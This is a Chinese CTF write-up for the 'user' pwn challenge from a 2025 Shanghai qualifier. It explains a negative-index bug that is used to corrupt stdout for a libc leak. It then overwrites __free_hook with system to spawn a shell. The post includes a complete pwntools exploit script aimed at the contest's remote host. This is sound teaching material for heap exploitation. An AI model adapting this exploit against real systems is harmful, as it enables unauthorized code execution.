上海磐石行动 2025 初赛 - user

RocketDev

文件属性

属性
Arch amd64
RELRO Full
Canary on
NX on
PIE on
strip no
libc 2.31-0ubuntu9.18

解题思路

看到deleteedit对输入的索引检查不严格,允许我们输入负数以向前访问。 由于RELRO只读,因此我们有效的数据只有stdin, stdout, stderr__dso_handle。 使用edit,我们能够写*stdout的前0x40字节,通过修改_flag_IO_write_base, 就可以让puts先将base-ptr范围之间的内容输出出来,借此泄露libc。

网上一般说修改_flag0xfbad1800,但是这样的话就不是无缓冲了,会影响脚本后续判断, 因此根据原flag,我们可以设置为0xfbad1887,这样既能利用成功,又能保持原有的输出特性。

不难注意到__dso_handle上放着__dso_handle自己,因此我们edit它时, 等于原地修改那一片的内存。由于是libc2.31,可以直接写入一个__free_hook的地址, 再edit它并写入system,就利用完毕了。最后分配一个堆块写入/bin/sh后, 释放一下就能拿shell。

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m'
EXE = './user'

def payload(lo: int):
global t
if lo:
t = process(EXE)
if lo & 2:
gdb.attach(t)
else:
t = remote('pss.idss-cn.com', 22122)
elf = ELF(EXE)
libc = elf.libc

def add(buf: bytes):
t.sendlineafter(b'Unregister', b'1')
t.sendafter(b'username:\n', buf)

def delete(idx: int):
t.sendlineafter(b'Unregister', b'2')
t.sendlineafter(b'index', str(idx).encode())

def edit(idx: int, buf: bytes):
t.sendlineafter(b'Unregister', b'4')
t.sendlineafter(b'index', str(idx).encode())
t.sendafter(b'username:\n', buf)

edit(-8, flat(0xfbad1887, 0, 0, 0, p8(0x8))) # set stdout->write_base to stdout->chain
libc_base = t.u64() - libc.symbols['_IO_2_1_stdin_']
success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}'))
libc.address = libc_base

add(b'/bin/sh')
edit(-11, p64(libc.symbols['__free_hook'])) # write free_hook on __dso_handle
edit(-11, p64(libc.symbols['system'])) # write system on free_hook
delete(0) # trigger free hook

t.clean()
t.interactive()
t.close()

flag

  • 标题: 上海磐石行动 2025 初赛 - user
  • 作者: RocketDev
  • 创建于 : 2025-08-09 15:29:00
  • 更新于 : 2025-08-09 15:29:00
  • 链接: https://rocketma.dev/2025/08/09/user/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
上海磐石行动 2025 初赛 - user